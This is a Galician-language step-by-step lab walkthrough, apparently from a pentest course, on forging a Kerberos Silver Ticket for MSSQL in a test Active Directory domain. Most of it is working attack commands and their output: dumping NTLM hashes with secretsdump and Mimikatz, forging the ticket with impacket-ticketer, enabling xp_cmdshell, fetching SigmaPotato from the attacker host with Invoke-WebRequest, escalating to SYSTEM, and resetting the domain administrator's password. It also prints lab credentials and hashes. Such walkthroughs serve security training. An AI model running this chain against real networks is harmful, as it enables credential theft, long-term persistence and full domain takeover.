Ir ao contido

Vector de Ataque: Silver Ticket (Persistencia en Servizos)

Fase: 5. Persistencia
Requisitos: Hash NTLM da conta de servizo (svc_sql) e o SID do dominio.


Descrición

Un Silver Ticket é un TGS (Ticket Granting Service) falsificado. A diferenza do Golden Ticket (que require o hash de krbtgt e dá acceso a todo), o Silver Ticket só require o hash da conta que executa un servizo e dá acceso de administrador só a ese servizo.

Vantaxes

  • Sigilo: Non require comunicación co DC (KDC), polo que é máis silencioso e difícil de detectar.
  • Persistencia sobre o usuario suplantado: O Silver Ticket segue funcionando mesmo se cambia o contrasinal do usuario suplantado (por exemplo, Administrador). Isto débese a que o ticket non usa o hash deste usuario para ser xerado nin validado.
  • Suplantación total: Permite acceder ao servizo como calquera usuario (incluído Administrador) sen coñecer o seu contrasinal real, sempre que o servizo acepte o ticket.
  • Duración prolongada: O ticket falsificado pode configurarse cunha validez de ata 10 anos por defecto, proporcionando persistencia de longo prazo sobre ese servizo.

Desvantaxes

  • Ámbito moi limitado: Só proporciona acceso ao servizo concreto para o que se falsifica o ticket (MSSQL, CIFS, HTTP...), non ao dominio completo.
  • Sen acceso global nin privilexios amplos: Non proporciona acceso completo ao dominio. Non permite movemento lateral ilimitado nin acceso ao KDC. A diferenza dun Golden Ticket, non converte ao atacante en “amo do dominio”, senón só do servizo comprometido.
  • Dependencia do hash da conta de servizo: O Silver Ticket só é válido mentres o hash NTLM da conta de servizo asociada ao SPN (por exemplo, svc_sql) non cambie. Ese hash é o que se utiliza para asinar o ticket, polo que un cambio no contrasinal desa conta invalida o Silver Ticket de inmediato.

Explicación Visual do Ataque

Fig. Silver Ticket - Explicación

O diagrama mostra a diferenza clave entre Kerberos normal (que require 4 intercambios co KDC) e Silver Ticket (que omite completamente o KDC).

Diagrama de ataque

Fig. Diagrama de ataque


Procedemento Paso a Paso

Paso 1: Obtención do Hash NTLM da Conta de Servizo

Necesitamos o hash NTLM do usuario svc_sql que executa o servizo MSSQL.

Para conseguir o NTLM hash (tamén chamado RC4 Key no contexto de Kerberos) necesario para impacket-ticketer, temos varias opcións dependendo do nivel de acceso que teñamos no dominio ou dos ataques que xa teñamos realizados.

Opción 1: Credenciais de Administrador (Secretsdump)

Se xa temos comprometido un Administrador de Dominio (ver ATAQUE_LLMNR_RESPONDER) ou un usuario con privilexios de replicación como brais.t co SeBackupPrivilege explotado para ler o NTDS.dit (ver ATAQUE_SEBACKUP), podemos extraer todos os hashes.

1A. Con credenciais de admin:

impacket-secretsdump 'VULN-HE.LAB/Administrador:abc123.@192.168.56.100'

1B. Con NTDS.dit extraído (vía SeBackupPrivilege):

impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL

Buscar na saída:

Buscar na saída a conta que corre o servizo:

  • Se o SQL Server corre como LocalSystem, busca o hash da conta de máquina: VULN-DC-01$
  • Se corre como un usuario de servizo (ex: svc_sql), buscar o hash de svc_sql

O formato será: usuario:id:lmhash:nthash:::. O que interesa é a cuarta columna (o nthash).

...
svc_sql:1106:aad3b435b51404eeaad3b435b51404ee:ad2896ecfb9b443720bab09bb020f852:::
...
VULN-DC-01$:1000:aad3b435b51404eeaad3b435b51404ee:be8e49b2cb97d0c6c8430097f477f989:::
...

O que nos interesa é a 4ª columna (nthash): ad2896ecfb9b443720bab09bb020f852

Nota: Se o servizo corre como LocalSystem/NETWORK SERVICE, usa o hash da conta de máquina: VULN-DC-01$


Opción 2: Conversión desde Contrasinal en Texto Claro

Podemos empregar impacket-ticketer, pero esta ferramenta pide o hash, non o contrasinal. Mais se conseguimos crackear o contrasinal do usuario svc_sql (SvcPassw0rdKerb!), convertimos o contrasinal a hash cun "one-liner" de Python:

python3 -c 'import hashlib,binascii; print(binascii.hexlify(hashlib.new("md4", "SvcPassw0rdKerb!".encode("utf-16le")).digest()).decode())'

Resultado:

ad2896ecfb9b443720bab09bb020f852

O resultado desa liña é o hash que debemos poñer no flag -nthash.


Opción 3: Dump de LSASS con Mimikatz

Se conseguimos acceso como Administrador local ou SYSTEM na máquina onde corre o servizo (neste caso, o propio DC 192.168.56.100), podemos usar Mimikatz para extraer os hashes da memoria LSASS:

Na máquina atacante:

wget https://github.com/ParrotSec/mimikatz/raw/master/x64/mimikatz.exe

Na máquina vítima (vía evil-winrm):

Descargamos mimikatz.exe:

*Evil-WinRM* PS C:\Users\Administrador\Documents> upload mimikatz.exe
...
Info: Upload successful!

Executamos mimikatz:

*Evil-WinRM* PS C:\Users\Administrador\Documents> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Buscar na saída:

Authentication Id : 0 ; 684641 (00000000:000a7261)
Session           : Service from 0
User Name         : svc_sql
Domain            : VULN-HE
Logon Server      : VULN-DC-01
Logon Time        : 10/12/2025 20:26:22
SID               : S-1-5-21-1409906420-806768563-109815720-1106
        msv :
         [00000003] Primary
         * Username : svc_sql
         * Domain   : VULN-HE
         * NTLM     : ad2896ecfb9b443720bab09bb020f852
         * SHA1     : f9675a1efe71400b598f76f54dc43f5d69572be8
        wdigest :
         * Username : svc_sql
         * Domain   : VULN-HE
         * Password : SvcPassw0rdKerb!

Resumo

  1. Se o servizo MSSQL está correndo baixo a conta svc_sql e temos o contrasinal, executamos o paso 1 (extraer do NTDS) ou o paso 2 (converter a hash)
  2. Se o servizo corre como SYSTEM, necesitamos obrigatoriamente facer o paso 1 ou 3 para obter o hash da conta de máquina VULN-DC-01$

Paso 2: Obtención do SID do Dominio

Necesitamos o identificador único do dominio. Podemos obtelo mediante mimikatz ou cun usuario básico (como brais.t).

impacket-lookupsid VULN-HE.LAB/brais.t:iloveyou@192.168.56.100 | grep "Domain SID"

Resultado:

[*] Domain SID is: S-1-5-21-1409906420-806768563-109815720

Paso 3: Sincronización Temporal (Clock Skew)

Información sobre Kerberos Clock Skew

Que é Clock Skew?

Clock Skew refírese á diferenza de tempo entre o cliente e o servidor Kerberos (DC).

Límite por defecto:

  • Máximo 5 minutos de diferenza
  • Configurable en MaxClockSkew (Group Policy)

Por que é importante?

  • Prevención de replay attacks
  • Os tickets Kerberos teñen timestamps
  • Se a hora é moi diferente, os tickets son invalidados

Erro común:

KRB_AP_ERR_SKEW(Clock skew too great)

Solución:

Debemos revisar a sincronización temporal co servidor de dominio para poder obter os tickets kerberos. Non debe existir un desfase de ±5 minutos.

CRÍTICO: Kerberos require sincronización temporal entre cliente e servidor (±5 minutos máximo)

Instalar ntpdate:

sudo apt update && sudo apt -y install ntpsec-ntpdate

Verificar e sincronizar:

date
sudo ntpdate -u 192.168.56.100
date

Saída esperada:

Wed Dec 10 11:16:59 AM UTC 2025
2025-12-10 10:03:58.174152 (+0000) -4381.436584 +/- 0.000433 192.168.56.100 s1 no-leap
CLOCK: time stepped by -4381.436584
Wed Dec 10 10:03:58 AM UTC 2025

Paso 4: Forxado do Silver Ticket

Usamos impacket-ticketer para crear un ticket que diga "Son o Administrador" válido para o servizo MSSQL.

# Engadir entrada DNS (se non existe)
echo '192.168.56.100 VULN-DC-01.vuln-he.lab VULN-HE.LAB' | sudo tee -a /etc/hosts

sudo ntpdate -u 192.168.56.100

impacket-ticketer \
  -nthash ad2896ecfb9b443720bab09bb020f852 \
  -domain-sid S-1-5-21-1409906420-806768563-109815720 \
  -domain VULN-HE.LAB \
  -spn "MSSQLSvc/VULN-DC-01.vuln-he.lab:1433" \
  Administrador

Parámetros:

  • -nthash: Hash NTLM de svc_sql
  • -domain-sid: SID do dominio
  • -domain: Nome DNS do dominio
  • -spn: Service Principal Name exacto do servizo (debe coincidir EXACTAMENTE)
  • Administrador: Usuario que queremos suplantar

Resultado: Créase un ficheiro Administrador.ccache.

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for VULN-HE.LAB/Administrador
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] Saving ticket in Administrador.ccache

Paso 5: Verificación do Ticket

Instalar ferramentas Kerberos:

sudo apt update && sudo apt -y install krb5-user

Comprobamos o contido do ticket obtido:

Inspeccionar o ticket:

klist Administrador.ccache

Saída esperada:

Ticket cache: FILE:Administrador.ccache
Default principal: Administrador@VULN-HE.LAB

Valid starting       Expires              Service principal
12/10/2025 10:12:41  12/08/2035 10:12:41  MSSQLSvc/VULN-DC-01.vuln-he.lab:1433@VULN-HE.LAB
        renew until 12/08/2035 10:12:41

Validez de 10 anos! (2025 → 2035)


Paso 6: Uso do Ticket e Acceso a SQL Server

Cargamos o ticket na variable de entorno e conectamos sen contrasinal.

Configurar entorno:

# Cargar o ticket
export KRB5CCNAME=Administrador.ccache

# Engadir entrada DNS (se non existe)
# echo '192.168.56.100 VULN-DC-01.vuln-he.lab VULN-HE.LAB' | sudo tee -a /etc/hosts

Conectar a SQL Server:

sudo ntpdate -u 192.168.56.100

impacket-mssqlclient \
  -k -no-pass \
  VULN-HE.LAB/Administrador@VULN-DC-01.vuln-he.lab

Parámetros:

  • -k: Usar autenticación Kerberos (o noso ticket falsificado)
  • -no-pass: Non solicitar contrasinal

Conexión exitosa:

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] INFO(VULN-DC-01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[!] Press help for extra shell commands
SQL (VULN-HE\Administrador  dbo@master)> 

Paso 7: Activación de xp_cmdshell

Dentro de MSSQL

Agora somos administradores da base de datos. Podemos activar xp_cmdshell para executar comandos no sistema operativo.

Verificar usuario actual:

SQL> select system_user;

Resultado:

---------------------   
VULN-HE\Administrador   

Activar xp_cmdshell:

Método manual: Método estándar e fiable. Este método sempre funciona (asumindo que tes permisos de sysadmin) porque utiliza os procedementos almacenados do sistema de SQL Server.

SQL> exec sp_configure 'show advanced options', 1;
SQL> reconfigure;
SQL> exec sp_configure 'xp_cmdshell', 1;
SQL> reconfigure;
Método rápido

Só funciona se estás usando unha ferramenta, como Impacket's mssqlclient.py, que implemente o comando helper enable_xp_cmdshell, xa que NON é un comando nativo de SQL Server.
Ademais, xp_cmdshell está deshabilitado por defecto en SQL Server por razóns de seguridade, e necesitas permisos de sysadmin para habilitalo.

SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

Probar execución de comandos:

SQL> exec xp_cmdshell 'whoami';

Saída:

output            
---------------   
vuln-he\svc_sql   
NULL              

Nota: Os comandos execútanse baixo o contexto de svc_sql, NON como Administrador. Se o servizo corre como LocalSystem, isto danos control total do servidor.


Paso 8: Comprobación de Privilexios

SQL> exec xp_cmdshell 'whoami /priv';

Privilexios relevantes detectados:

Nombre de privilegio                      Descripción                                          Estado          
========================================= ==================================================== =============   
SeAssignPrimaryTokenPrivilege             Reemplazar un símbolo de nivel de proceso           Deshabilitado   
SeImpersonatePrivilege                    Suplantar a un cliente tras la autenticación        Habilitada      
SeManageVolumePrivilege                   Realizar tareas de mantenimiento del volumen        Habilitada      
SeCreateGlobalPrivilege                   Crear objetos globales                              Habilitada      

SeImpersonatePrivilege está HABILITADO → Podemos realizar un ataque Potato


Explotación: SeImpersonatePrivilege vía SQL Server

Descrición

Agora xa podemos realizar o procedemento descrito no ficheiro ATAQUE_SEIMPERSONATE, pero adaptado ao novo escenario, onde:

  • Non accedemos como maria.g, senón como svc_sql vía SQL Server (xp_cmdshell)
  • O ataque faise desde xp_cmdshell, non desde WinRM
  • O obxectivo é executar SigmaPotato en SYSTEM tal como fai o documento orixinal, pero adaptado a este contexto

Fase aplicada: 4. Post-Explotación
Usuario inicial: svc_sql (a través de Silver Ticket → SQL Server → xp_cmdshell)
Obxectivo Final: NT AUTHORITY\SYSTEM

O servizo SQL Server executa o proceso MSSQL$SQLEXPRESS baixo a conta svc_sql, que posúe o privilexio SeImpersonatePrivilege → HABILITADO. Isto permite realizar un ataque Potato para elevar privilexios a SYSTEM.

En lugar de tentar obter unha shell (ás veces inestable desde xp_cmdshell), utilizamos SigmaPotato para lanzar un comando directamente como SYSTEM.


Paso 9: Descarga de SigmaPotato

Na máquina atacante:

wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
python3 -m http.server 80

Na máquina vítima (vía xp_cmdshell):

Crear directorio temporal:

SQL> exec xp_cmdshell 'mkdir C:\Temp';

Descargar SigmaPotato:

SQL> exec xp_cmdshell 'powershell -command "Invoke-WebRequest -Uri http://192.168.56.113/SigmaPotato.exe -OutFile C:\Temp\sp.exe"';

Verificar descarga:

SQL> exec xp_cmdshell 'dir C:\Temp';

Paso 10: Execución do Ataque (obtención de SYSTEM)

Igual que no documento orixinal, lanzamos un comando arbitrario como SYSTEM, por exemplo, cambiar o contrasinal do Administrador:

SQL> exec xp_cmdshell 'C:\Temp\sp.exe "net user Administrador 123456789"';

Saída esperada:

SigmaPotato indica que conseguiu token SYSTEM e o comando execútase correctamente baixo SYSTEM:

output
---------------------------------------------------------
[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
[+] Pipe Connected!
[+] Impersonated Client: NT AUTHORITY\Servicio de red
[+] Searching for System Token...
[+] PID: 852 | Token: 0x816 | User: NT AUTHORITY\SYSTEM
[+] Found System Token: True
[+] Duplicating Token...
[+] New Token Handle: 832
[+] Current Command Length: 32 characters
[+] Creating Process via 'CreateProcessAsUserW'
[+] Process Started with PID: 3068
NULL
[+] Process Output:
Se ha completado el comando correctamente.
NULL
NULL
NULL

O comando executouse correctamente como NT AUTHORITY\SYSTEM


Paso 11: Verificación - Acceso como Administrador

Despois do cambio:

Conectar vía WinRM co novo contrasinal:

evil-winrm -i 192.168.56.100 -u Administrador -p '123456789'

Unha vez dentro:

Verificar identidade:

*Evil-WinRM* PS C:\Users\Administrador\Documents> whoami
vuln-he\administrador

*Evil-WinRM* PS C:\Users\Administrador\Documents> whoami /groups | findstr "S-1-5-32-544"
VULN-HE\Administradores del dominio

Debe indicar:

vuln-he\administrador

Control total do dominio conseguido!


Resumo

Duración e Validez do Ticket

Un Silver Ticket:
1. É un TGS falsificado para un servizo concreto (por exemplo: MSSQLSvc/DC:1433), que permite acceso persistente limitado exclusivamente a ese servizo durante anos.
2. Só depende do hash NTLM da conta de servizo (ex.: svc_sql) e non require contactar co KDC.

Puntos clave:

  • Validez por defecto: 10 anos (2025 → 2035)
  • O ticket xerado con impacket-ticketer ten, por defecto, validez de 10 anos
  • SQL Server non comproba o ticket co KDC, só verifica a firma baseada no NTLM da conta de servizo
  • Verificación: SQL Server NON comproba o ticket co KDC, só verifica a firma baseada no hash NTLM de svc_sql

O Ticket Permanece Válido Se:

  • Se o hash de svc_sql non cambia, o ticket seguirá sendo válido durante toda a súa vida útil
  • O SPN do servizo (MSSQLSvc/...) non se modifica
  • O usuario finxido polo Silver Ticket existe dentro de SQL como login válido
  • O SPN coincide (MSSQLSvc/NOME:1433)

O Ticket Inválídase Se:

  • Se cambia o contrasinal de svc_sql (→ cambia o NTLM hash)
  • Elimínase ou modifícase o SPN asociado ao servizo
  • Desactívase ou elimínase o usuario suplantado

Conseguimos:

  • Silver Ticket → acceso a SQL
  • xp_cmdshell → execución remota como svc_sql
  • SigmaPotato → SYSTEM directo
  • WinRM como Administrador → Control total do dominio
Paso Acción Resultado
1 Obtención do hash NTLM de svc_sql ad2896ecfb9b443720bab09bb020f852
2 Obtención do SID do dominio S-1-5-21-1409906420-806768563-109815720
3 Sincronización temporal (Clock Skew) Diferenza < 5 minutos
4 Forxado de Silver Ticket Administrador.ccache (válido 10 anos)
5 Verificación do ticket Ticket válido 2025-2035
6 Acceso a SQL Server con Kerberos Conexión como VULN-HE\Administrador
7 Activación de xp_cmdshell Execución remota como svc_sql
8 Comprobación de privilexios SeImpersonatePrivilege habilitado
9 Descarga de SigmaPotato Ferramenta en C:\Temp\sp.exe
10 Explotación de SeImpersonatePrivilege Escalada a NT AUTHORITY\SYSTEM
11 Cambio de contrasinal do Administrador Control total do dominio